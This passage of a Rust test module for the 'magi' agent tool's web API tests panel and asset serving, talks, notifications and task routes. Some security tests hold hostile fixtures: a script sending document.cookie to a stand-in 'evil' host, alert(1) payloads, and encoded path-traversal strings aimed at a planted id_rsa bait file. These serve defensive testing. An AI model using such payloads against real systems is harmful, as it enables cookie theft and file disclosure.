5233        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
5234        let id = panel(&fx, html, &[]);
5235
5236        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5237
5238        assert_eq!(res.status, 200);
5239        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5240        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5241        assert_eq!(
5242            res.header("content-disposition"),
5243            None,
5244            "the panel itself is rendered in the frame, not downloaded"
5245        );
5246    }
5247
5248    #[tokio::test]
5249    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5250        let fx = Fixture::start().await;
5251        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5252        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5253        let id = panel(
5254            &fx,
5255            "<img src=\"diff.svg\"><img src=\"shot.png\">",
5256            &[("diff.svg", svg), ("shot.png", png)],
5257        );
5258
5259        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5260        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5261
5262        assert_eq!(as_svg.status, 200);
5263        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5264        // An SVG is XML that may carry script. Inside the panel it is an
5265        // `<img src>` and the script cannot run; opened at the top level it
5266        // would be a document on magi's own origin, so the browser is told to
5267        // download it instead of rendering it.
5268        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5269
5270        assert_eq!(as_png.status, 200);
5271        assert_eq!(as_png.header("content-type"), Some("image/png"));
5272        assert_eq!(
5273            as_png.header("content-disposition"),
5274            None,
5275            "a raster image has no execution surface, so tapping it still shows it"
5276        );
5277        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5278    }
5279
5280    #[tokio::test]
5281    async fn an_html_asset_is_never_served_as_html() {
5282        let fx = Fixture::start().await;
5283        let id = panel(
5284            &fx,
5285            "<p>see the notes</p>",
5286            &[
5287                (
5288                    "notes.html",
5289                    b"<script>fetch('http://evil/'+document.cookie)</script>",
5290                ),
5291                ("hook.js", b"fetch('http://evil/')"),
5292                ("data.json", b"{}"),
5293                ("HEADLINE.TXT", b"plain"),
5294            ],
5295        );
5296
5297        for name in ["notes.html", "hook.js", "data.json"] {
5298            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5299            assert_eq!(res.status, 200, "{name}: {}", res.body);
5300            // Serving this as text/html would be a way to reach agent markup
5301            // at the top level of the operator's browser, outside the frame's
5302            // sandbox and outside its CSP - which is the whole thing the panel
5303            // design exists to prevent. Unlisted types are downloads.
5304            assert_eq!(
5305                res.header("content-type"),
5306                Some("application/octet-stream"),
5307                "{name} must not be a type the browser will execute or render"
5308            );
5309        }
5310        // The whitelist is matched case-insensitively, so an agent shouting the
5311        // extension still gets a readable file rather than a download.
5312        let txt = fx
5313            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5314            .await;
5315        assert_eq!(
5316            txt.header("content-type"),
5317            Some("text/plain; charset=utf-8")
5318        );
5319    }
5320
5321    #[tokio::test]
5322    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5323        let fx = Fixture::start().await;
5324        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5325        // Something outside the panel directory that a traversal would reach if
5326        // one got through, so a passing test is not merely "the file was
5327        // missing anyway".
5328        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5329
5330        // Decoded before this server's handler sees them: axum percent-decodes
5331        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
5332        // string with a NUL in it. All three look like ordinary single-segment
5333        // filenames to the router, so the router passes them through and
5334        // `valid_asset_name` is what refuses them - for the literal `..`, and
5335        // for `/`, `\` and NUL not being in the permitted character set.
5336        for encoded in [
5337            "%2e%2e%2fid_rsa",
5338            "..%2fid_rsa",
5339            "..%5cid_rsa",
5340            "%2e%2e%5cid_rsa",
5341            "diff%00.svg",
5342            "..",
5343            ".hidden",
5344            "%2e%2e%2f%2e%2e%2fid_rsa",
5345        ] {
5346            let res = fx
5347                .get(&format!("/api/questions/{id}/asset/{encoded}"))
5348                .await;
5349            assert_eq!(
5350                res.status, 400,
5351                "`{encoded}` has to be refused by name, not looked up: {}",
5352                res.body
5353            );
5354            assert!(res.json()["error"].is_string(), "{}", res.body);
5355        }
5356
5357        // Not decoded, and never this handler's problem: a real slash makes the
5358        // request one segment too long for `/api/questions/{id}/asset/{name}`,
5359        // so axum's router has no route to match and answers before any code
5360        // here runs. Asserted so that a future route with a wildcard segment
5361        // cannot quietly open this door.
5362        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5363            let res = fx
5364                .get(&format!("/api/questions/{id}/asset/{literal}"))
5365                .await;
5366            assert_eq!(
5367                res.status, 404,
5368                "`{literal}` must not match the asset route at all: {}",
5369                res.body
5370            );
5371        }
5372    }
5373
5374    #[tokio::test]
5375    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5376        let fx = Fixture::start().await;
5377        let plain = ask(&fx, "Which backend?", &["SQLite"]);
5378        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5379
5380        // A question nobody wrote a panel for. The client preflights with HEAD
5381        // and cannot see inside a sandboxed frame, so this must be a status and
5382        // not an empty page.
5383        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5384        assert_eq!(none.status, 404, "{}", none.body);
5385        assert!(none.json()["error"].is_string(), "{}", none.body);
5386        assert_eq!(
5387            fx.head(&format!("/api/questions/{plain}/panel"))
5388                .await
5389                .status,
5390            404,
5391            "the preflight is the only way the client can learn this"
5392        );
5393
5394        // A name that is perfectly legal and simply is not there.
5395        let missing = fx
5396            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5397            .await;
5398        assert_eq!(missing.status, 404, "{}", missing.body);
5399        assert!(missing.json()["error"].is_string(), "{}", missing.body);
5400
5401        // A question that does not exist at all, on both routes.
5402        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5403        assert_eq!(
5404            fx.get("/api/questions/nope/asset/diff.svg").await.status,
5405            404
5406        );
5407    }
5408
5409    #[tokio::test]
5410    async fn a_run_with_an_open_question_reads_as_waiting() {
5411        let fx = Fixture::start().await;
5412        let run = "20260902-000000-beef".to_owned();
5413        write_run(&fx.runs(), &run, RunStatus::Implementing);
5414
5415        let before = fx.get("/api/runs").await.json();
5416        assert_eq!(before[0]["waiting"], false, "{before}");
5417
5418        let store = fx.questions();
5419        let mut q = Question::new(
5420            run.clone(),
5421            "implement".to_owned(),
5422            "impl-A".to_owned(),
5423            "Which backend?".to_owned(),
5424            String::new(),
5425            vec!["SQLite".to_owned()],
5426        );
5427        store.put(&mut q).expect("put");
5428
5429        let during = fx.get("/api/runs").await.json();
5430        assert_eq!(during[0]["waiting"], true, "{during}");
5431
5432        // Answered: the run is moving again, and the flag has to follow without
5433        // anything having rewritten run.json.
5434        q.answer(Answer::Choice("SQLite".to_owned()))
5435            .expect("answer");
5436        store.put(&mut q).expect("put");
5437        let after = fx.get("/api/runs").await.json();
5438        assert_eq!(after[0]["waiting"], false, "{after}");
5439    }
5440
5441    #[tokio::test]
5442    async fn an_open_question_is_listed_and_counted_by_health() {
5443        let fx = Fixture::start().await;
5444        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5445
5446        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5447        let listed = fx.get("/api/questions").await.json();
5448        assert_eq!(listed.as_array().expect("array").len(), 1);
5449        assert_eq!(listed[0]["id"], id);
5450        assert_eq!(listed[0]["status"], "open");
5451        assert_eq!(listed[0]["choices"][1], "Redis");
5452        // The count is what makes the phone's indicator honest: it is the one
5453        // number meaning nothing will move until a human acts.
5454        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5455    }
5456
5457    #[tokio::test]
5458    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5459        let fx = Fixture::start().await;
5460        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5461        let path = format!("/api/questions/{id}/answer");
5462
5463        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5464        assert_eq!(res.status, 200, "{}", res.body);
5465        let body = res.json();
5466        assert_eq!(body["status"], "answered");
5467        assert_eq!(body["answer"]["choice"], "Redis");
5468
5469        // Answered from the terminal in between the list and the tap: the UI
5470        // must be able to tell this from a bad request, so it can show the
5471        // recorded answer instead of an error.
5472        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5473        assert_eq!(again.status, 409, "{}", again.body);
5474        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5475    }
5476
5477    #[tokio::test]
5478    async fn saying_something_appends_a_turn_without_answering() {
5479        let fx = Fixture::start().await;
5480        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5481        let path = format!("/api/questions/{id}/say");
5482
5483        let res = fx
5484            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5485            .await;
5486        assert_eq!(res.status, 200, "{}", res.body);
5487        let body = res.json();
5488        assert_eq!(body["status"], "open", "talking back is not a decision");
5489        assert_eq!(body["answer"], Value::Null);
5490        assert_eq!(body["thread"][0]["who"], "operator");
5491        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5492        assert_eq!(body["waiting_on_agent"], true);
5493        // Still open, still counted, still exactly one question.
5494        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5495    }
5496
5497    #[tokio::test]
5498    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5499        let fx = Fixture::start().await;
5500        let store = fx.questions();
5501        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5502        assert_eq!(
5503            fx.get("/api/health").await.json()["questions_needs_owner"],
5504            1
5505        );
5506
5507        // The owner asks back instead of deciding: the ask bar, the nav badge
5508        // and the title must stop naming this question, because there is
5509        // nothing to decide until the agent answers - `status` alone cannot
5510        // say that, which is the whole reason `questions_needs_owner` exists
5511        // alongside `questions_open`.
5512        let res = fx
5513            .post(
5514                &format!("/api/questions/{id}/say"),
5515                Some(r#"{"body":"why not Postgres?"}"#),
5516            )
5517            .await;
5518        assert_eq!(res.status, 200, "{}", res.body);
5519        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5520        assert_eq!(
5521            fx.get("/api/health").await.json()["questions_needs_owner"],
5522            0,
5523            "waiting on the agent is not waiting on the owner"
5524        );
5525
5526        // `magi ask --thread` replying is what brings the owner count back -
5527        // the same event that would resume the CLI call blocked in `magi
5528        // ask`.
5529        let mut q = store.get(&id).expect("get");
5530        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5531            .expect("reply");
5532        store.put(&mut q).expect("put");
5533        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5534        assert_eq!(
5535            fx.get("/api/health").await.json()["questions_needs_owner"],
5536            1,
5537            "the agent's reply is what should light the banner back up"
5538        );
5539    }
5540
5541    #[tokio::test]
5542    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5543        let fx = Fixture::start().await;
5544        let store = fx.questions();
5545
5546        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5547        let res = fx
5548            .post(
5549                &format!("/api/questions/{empty_id}/say"),
5550                Some(r#"{"body":"   "}"#),
5551            )
5552            .await;
5553        assert_eq!(res.status, 400, "{}", res.body);
5554
5555        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5556        let mut answered = store.get(&answered_id).expect("get");
5557        answered
5558            .answer(Answer::Choice("SQLite".to_owned()))
5559            .expect("answer");
5560        store.put(&mut answered).expect("put");
5561        let res = fx
5562            .post(
5563                &format!("/api/questions/{answered_id}/say"),
5564                Some(r#"{"body":"still there?"}"#),
5565            )
5566            .await;
5567        assert_eq!(res.status, 409, "{}", res.body);
5568
5569        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5570        let mut abandoned = store.get(&abandoned_id).expect("get");
5571        abandoned.abandon("timed out");
5572        store.put(&mut abandoned).expect("put");
5573        let res = fx
5574            .post(
5575                &format!("/api/questions/{abandoned_id}/say"),
5576                Some(r#"{"body":"still there?"}"#),
5577            )
5578            .await;
5579        assert_eq!(res.status, 409, "{}", res.body);
5580    }
5581
5582    #[tokio::test]
5583    async fn an_answer_the_question_does_not_offer_is_refused() {
5584        let fx = Fixture::start().await;
5585        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5586        let path = format!("/api/questions/{id}/answer");
5587
5588        for body in [
5589            r#"{"choice":"Postgres"}"#,
5590            r#"{"text":"whatever you think"}"#,
5591            r#"{"choice":"Redis","text":"both"}"#,
5592            r#"{}"#,
5593        ] {
5594            let res = fx.post(&path, Some(body)).await;
5595            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5596            assert!(res.json()["error"].is_string(), "{}", res.body);
5597        }
5598        // Nothing above may have answered it.
5599        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5600    }
5601
5602    #[tokio::test]
5603    async fn a_free_text_question_takes_text_and_not_a_choice() {
5604        let fx = Fixture::start().await;
5605        let id = ask(&fx, "What should the flag be called?", &[]);
5606        let path = format!("/api/questions/{id}/answer");
5607
5608        assert_eq!(
5609            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5610            400
5611        );
5612        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5613        assert_eq!(res.status, 200, "{}", res.body);
5614        assert_eq!(res.json()["answer"]["text"], "--json");
5615    }
5616
5617    #[tokio::test]
5618    async fn an_unknown_question_is_a_json_404() {
5619        let fx = Fixture::start().await;
5620        let res = fx
5621            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5622            .await;
5623        assert_eq!(res.status, 404, "{}", res.body);
5624        assert!(res.json()["error"].is_string());
5625    }
5626
5627    #[tokio::test]
5628    async fn notifications_list_read_dismiss_and_health_agree() {
5629        let fx = Fixture::start().await;
5630        let store = Notices::at(fx.home.path().join("notifications"));
5631        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5632        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5633
5634        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5635        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5636
5637        let health = fx.get("/api/health").await.json();
5638        assert_eq!(health["notifications_unread"], 2);
5639        assert_ne!(
5640            health["notifications_rev"], rev0,
5641            "the badge must move live"
5642        );
5643
5644        let listed = fx.get("/api/notifications").await.json();
5645        assert_eq!(listed["unread"], 2);
5646        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5647        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5648
5649        let read = fx
5650            .post(&format!("/api/notifications/{}/read", a.id), None)
5651            .await;
5652        assert_eq!(read.status, 200, "{}", read.body);
5653        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5654
5655        let gone = fx
5656            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5657            .await;
5658        assert_eq!(gone.status, 200, "{}", gone.body);
5659        let listed = fx.get("/api/notifications").await.json();
5660        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5661        assert_eq!(listed["unread"], 0);
5662
5663        store.raise(Notice::info("x", "again")).unwrap();
5664        let all = fx.post("/api/notifications/read-all", None).await;
5665        assert_eq!(all.status, 200, "{}", all.body);
5666        assert_eq!(all.json()["marked"], 1);
5667        assert_eq!(
5668            fx.get("/api/health").await.json()["notifications_unread"],
5669            0
5670        );
5671
5672        let missing = fx.post("/api/notifications/nope/read", None).await;
5673        assert_eq!(missing.status, 404, "{}", missing.body);
5674        assert!(missing.json()["error"].is_string());
5675    }
5676
5677    /// New work reaches the queue through `magi task add`, a standing talk's
5678    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
5679    /// so the compose form and that route are gone. The tests that covered
5680    /// that route's validation went with it, and nothing was left asserting
5681    /// it stays gone — so a re-added handler would silently let the phone
5682    /// file briefs no one validated.
5683    #[tokio::test]
5684    async fn a_task_cannot_be_filed_over_the_phone_directly() {
5685        let f = Fixture::start().await;
5686
5687        let res = f
5688            .post(
5689                "/api/queue",
5690                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5691            )
5692            .await;
5693
5694        assert_eq!(
5695            res.status, 405,
5696            "POST /api/queue must not be a route: {}",
5697            res.body
5698        );
5699        assert!(
5700            f.queue().list().is_empty(),
5701            "a task filed by a route that does not exist must not reach the disk"
5702        );
5703        // The path itself is still served — the Queue view reads it — and the
5704        // per-task controls are untouched by the entry being removed.
5705        assert_eq!(f.get("/api/queue").await.status, 200);
5706    }
5707
5708    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
5709    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5710        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5711            .expect("checkout dir");
5712    }
5713
5714    #[tokio::test]
5715    async fn repos_list_returns_name_and_path_for_every_configured_root() {
5716        let tmp = TempDir::new().expect("tempdir");
5717        let repo = tmp.path().join("repo");
5718        std::fs::create_dir_all(&repo).expect("repo dir");
5719        let root = tmp.path().join("root");
5720        make_checkout(&root, "github.com", "yukimemi", "magi");
5721        std::fs::write(
5722            repo.join("magi.toml"),
5723            format!(
5724                "[repos]\nroots = [{:?}]\n",
5725                root.to_string_lossy().into_owned()
5726            ),
5727        )
5728        .expect("write magi.toml");
5729
5730        let f = Fixture::with_repo(repo).await;
5731        let res = f.get("/api/repos").await;
5732        assert_eq!(res.status, 200, "{}", res.body);
5733        let list = res.json();
5734        let repos = list.as_array().expect("an array");
5735        assert_eq!(repos.len(), 1);
5736        assert_eq!(repos[0]["name"], "yukimemi/magi");
5737        assert!(
5738            repos[0]["path"]
5739                .as_str()
5740                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5741            "{list}"
5742        );
5743    }
5744
5745    #[tokio::test]
5746    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5747        let tmp = TempDir::new().expect("tempdir");
5748        let repo = tmp.path().join("repo");
5749        std::fs::create_dir_all(&repo).expect("repo dir");
5750        let root = tmp.path().join("root");
5751        make_checkout(&root, "github.com", "yukimemi", "magi");
5752        std::fs::write(
5753            repo.join("magi.toml"),
5754            format!(
5755                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5756                root.to_string_lossy().into_owned()
5757            ),
5758        )
5759        .expect("write magi.toml");
5760
5761        let f = Fixture::with_repo(repo).await;
5762        let first = f.get("/api/repos").await;
5763        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5764
5765        // A second checkout appears; within the TTL the cached answer must
5766        // not notice it.
5767        make_checkout(&root, "github.com", "yukimemi", "rvpm");
5768        let second = f.get("/api/repos").await;
5769        assert_eq!(
5770            second.json().as_array().map(Vec::len),
5771            Some(1),
5772            "a fresh cache must not rescan inside the TTL"
5773        );
5774
5775        let refreshed = f.get("/api/repos?refresh=1").await;
5776        assert_eq!(
5777            refreshed.json().as_array().map(Vec::len),
5778            Some(2),
5779            "an explicit refresh must rescan even inside the TTL"
5780        );
5781    }
5782
5783    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
5784    /// string, declared straight in a repository's own `magi.toml` rather
5785    /// than the operator's real roster. No real agent CLI is spawned - `sh`
5786    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
5787    /// this is safe to run over a real HTTP round trip.
5788    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5789
5790    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
5791    /// real `Config::discover` to find an agent - `talk::begin` resolves one
5792    /// even though it takes no turn, and `talk_say` invokes one.
5793    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5794        let tmp = TempDir::new().expect("tempdir");
5795        let repo = tmp.path().join("repo");
5796        std::fs::create_dir_all(&repo).expect("repo dir");
5797        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5798        let f = Fixture::with_repo(repo.clone()).await;
5799        (tmp, repo, f)
5800    }
5801
5802    #[tokio::test]
5803    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5804        let (_tmp, _repo, f) = talk_fixture().await;
5805
5806        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
5807        // is the ordinary way a phone opens a talk.
5808        let opened = f.post("/api/talks", None).await;
5809        assert_eq!(opened.status, 201, "{}", opened.body);
5810        let body = opened.json();
5811        assert_eq!(body["status"], "open");
5812        assert_eq!(
5813            body["turns"].as_array().unwrap().len(),
5814            0,
5815            "opening takes no agent turn: there is nothing yet to answer"
5816        );
5817
5818        // An explicit empty object is the same request as none at all.
5819        let also_opened = f.post("/api/talks", Some("{}")).await;
5820        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5821
5822        let listed = f.get("/api/talks").await.json();
5823        assert_eq!(listed.as_array().unwrap().len(), 2);
5824    }
5825
5826    #[tokio::test]
5827    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5828        let f = Fixture::start().await;
5829        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5830        let queue = f.queue();
5831        let mut mine = Task::new(
5832            "rename the loader".to_owned(),
5833            "rename the loader".to_owned(),
5834            PathBuf::from("/repo/magi"),
5835            Source::Agent {
5836                run: talk_id.clone(),
5837                node: "chat".to_owned(),
5838            },
5839        );
5840        queue.put(&mut mine).expect("file the task");
5841        let mut theirs = Task::new(
5842            "unrelated".to_owned(),
5843            "unrelated".to_owned(),
5844            PathBuf::from("/repo/magi"),
5845            Source::Human,
5846        );
5847        queue.put(&mut theirs).expect("file the task");
5848
5849        let res = f.get(&format!("/api/talks/{talk_id}")).await;
5850        assert_eq!(res.status, 200, "{}", res.body);
5851        let body = res.json();
5852        assert_eq!(
5853            body["status"], "open",
5854            "filing a task does not close a talk"
5855        );
5856        let tasks = body["tasks"].as_array().expect("tasks array");
5857        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5858        assert_eq!(tasks[0]["id"], mine.id);
5859    }
5860
5861    #[tokio::test]
5862    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5863        let (_tmp, _repo, f) = talk_fixture().await;
5864        let id = f.post("/api/talks", None).await.json()["id"]
5865            .as_str()
5866            .expect("id")
5867            .to_owned();
5868
5869        let res = f
5870            .post(
5871                &format!("/api/talks/{id}/say"),
5872                Some(r#"{"text":"what does the queue module do?"}"#),
5873            )
5874            .await;
5875        assert_eq!(res.status, 202, "{}", res.body);
5876        let queued = res.json();
5877        let turns = queued["turns"].as_array().expect("turns array");
5878        assert_eq!(
5879            turns.len(),
5880            1,
5881            "the answer reflects only what is on disk the instant it is sent, \
5882             before the agent's turn - which can run for the whole of \
5883             `[graph] timeout_talk` - has a chance to land: {queued}"
5884        );
5885        assert_eq!(turns[0]["who"], "operator");
5886        assert_eq!(turns[0]["body"], "what does the queue module do?");
5887        assert_eq!(
5888            queued["thinking"], true,
5889            "the accepted response exposes the background turn claim: {queued}"
5890        );
5891
5892        let mut turns_after = 1;
5893        for _ in 0..SETTLE_STEPS {
5894            let detail = f.get(&format!("/api/talks/{id}")).await.json();
5895            turns_after = detail["turns"].as_array().expect("turns array").len();
5896            if turns_after == 2 {
5897                break;
5898            }
5899            tokio::time::sleep(Duration::from_millis(10)).await;
5900        }
5901        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5902    }
5903
5904    /// A phone that reloads mid-request drops `talk_say`'s whole handler
5905    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
5906    /// guards against: `talk::record` used to return, and only *then* did the
5907    /// handler make a second, separate disk round trip before spawning the
5908    /// agent's reply task. A future dropped in that gap left a message
5909    /// recorded on disk with no reply task ever started and no way back short
5910    /// of a fresh message - and the gap was not even the whole story: *any*
5911    /// `.await` in this handler, including the very first one, is a point
5912    /// where a drop can land after the awaited work already finished but
5913    /// before this handler's own code resumes to act on it. `record` now
5914    /// runs inside the task `tokio::spawn` hands to the runtime before this
5915    /// handler ever awaits anything of its own again, so there is nothing
5916    /// left in *this* handler's future for a disconnect to interrupt between
5917    /// the message landing on disk and the reply task starting.
5918    ///
5919    /// A real socket disconnect cannot be relied on to land in the old gap
5920    /// from a test - over loopback, `talk_say` typically finishes before the
5921    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
5922    /// same failure mode directly: it drops the task's future at whatever
5923    /// point it has reached, exactly what axum does to the handler future,
5924    /// without needing to win a real network race. Sweeping the delay before
5925    /// aborting samples a range of points the task's execution can be at,
5926    /// including where the old code sat waiting on its second disk round
5927    /// trip - confirmed by reverting this fix locally and watching this same
5928    /// sweep catch a talk stuck with the operator's turn recorded and no
5929    /// reply ever following.
5930    #[tokio::test]
5931    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
5932        let tmp = TempDir::new().expect("tempdir");
5933        let repo = tmp.path().join("repo");
5934        std::fs::create_dir_all(&repo).expect("repo dir");
5935        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5936        let home = TempDir::new().expect("temp home");
5937        let talks = Talks::at(home.path().join("talks"));
5938        let ui = Arc::new(
5939            Ui::new(
5940                Queue::at(home.path().join("queue")),
5941                Questions::at(home.path().join("questions")),
5942                talks.clone(),
5943                home.path().join("runs"),
5944                home.path().to_path_buf(),
5945                repo.clone(),
5946            )
5947            .with_worktrees_root(home.path().join("wt")),
5948        );
5949        let cfg = config_for(&repo).await.expect("discover config");
5950
5951        for delay in 0..40u32 {
5952            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
5953            let id = talk.id.clone();
5954
5955            let handler = tokio::spawn(talk_say(
5956                State(Arc::clone(&ui)),
5957                Path(id.clone()),
5958                Ok(Json(NewTalkTurn {
5959                    text: "what does the queue module do?".to_owned(),
5960                    attachments: Vec::new(),
5961                })),
5962            ));
5963            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
5964            handler.abort();
5965            // Wait out the abort so the next iteration's talk does not race
5966            // this one's still-unwinding turn guard.
5967            let _ = handler.await;
5968
5969            let mut turns = 0;
5970            for _ in 0..SETTLE_STEPS {
5971                if let Ok(fresh) = talks.get(&id) {
5972                    turns = fresh.turns.len();
5973                    if turns != 1 {
5974                        break;
5975                    }
5976                }
5977                tokio::time::sleep(Duration::from_millis(10)).await;
5978            }
5979            assert_ne!(
5980                turns, 1,
5981                "delay {delay}: talk {id} recorded the operator's turn but \
5982                 the agent never answered - the reply task was never \
5983                 started after the handler future was dropped"
5984            );
5985        }
5986    }
5987
5988    /// The same drop, landing on `talk_say`'s other durable write.
5989    ///
5990    /// When a turn is already running, the busy branch persists the
5991    /// operator's text as a queued draft and then reclaims the turn slot if
5992    /// the holder gave it up in the meantime - and whoever reclaims owes that
5993    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
5994    /// which finishes whether or not the future awaiting it is still there,
5995    /// so a handler dropped at that `.await` used to leave the draft written
5996    /// to disk with the reclaimed guard dropped unread and no drainer ever
5997    /// started: the message sat queued until some unrelated later `say`
5998    /// happened to pick it up.
5999    ///
6000    /// This used to drive the handler future by hand, polling it a fixed
6001    /// number of times to park it at the `.await` where it asks for the turn
6002    /// and finds it busy, before the reclaim's slot-free case could be set up
6003    /// underneath it. That assumed a fixed number of polls lands at a fixed
6004    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
6005    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
6006    /// poll, so any number of this handler's several `blocking` awaits can
6007    /// collapse into one poll under load, landing the drive somewhere other
6008    /// than intended - including, occasionally, straight past the handler's
6009    /// own completion, which made polling it again panic with "async fn
6010    /// resumed after completion". No poll count fixes that; the handler's
6011    /// progress simply is not something a caller outside it can observe by
6012    /// counting.
6013    ///
6014    /// [`BusyQueueGate`] replaces the poll count with a real stop point
6015    /// inside the write itself, so the interleaving under test is pinned by
6016    /// an event instead of a guess: the gate fires only once the handler has
6017    /// actually decided `Busy` and is about to persist the draft, and it
6018    /// blocks that write until the test lets it through. Between those two
6019    /// moments the test drains the turn the handler found busy - through
6020    /// `drain_loop`, the protocol's other half - and then aborts the handler
6021    /// task outright, the same way axum drops a disconnected request's
6022    /// future. The write, and the reclaim it may do, run to completion
6023    /// regardless: they live in the `tokio::spawn` task the busy branch hands
6024    /// to the runtime before ever touching the gate, wholly independent of
6025    /// whether the handler that started it is still around - which is what
6026    /// this test is actually checking. A drainer other than that reclaim
6027    /// cannot exist here: the test's own `drain_loop` call happens before the
6028    /// gate opens, so it runs while the queue is still empty and hands the
6029    /// turn straight back rather than draining anything, closing off the
6030    /// possibility of the final assertion passing without the reclaim ever
6031    /// having done its job.
6032    #[tokio::test]
6033    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6034        let tmp = TempDir::new().expect("tempdir");
6035        let repo = tmp.path().join("repo");
6036        std::fs::create_dir_all(&repo).expect("repo dir");
6037        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6038        let home = TempDir::new().expect("temp home");
6039        let talks = Talks::at(home.path().join("talks"));
6040        let ui = Arc::new(
6041            Ui::new(
6042                Queue::at(home.path().join("queue")),
6043                Questions::at(home.path().join("questions")),
6044                talks.clone(),
6045                home.path().join("runs"),
6046                home.path().to_path_buf(),
6047                repo.clone(),
6048            )
6049            .with_worktrees_root(home.path().join("wt")),
6050        );
6051        let cfg = config_for(&repo).await.expect("discover config");
6052
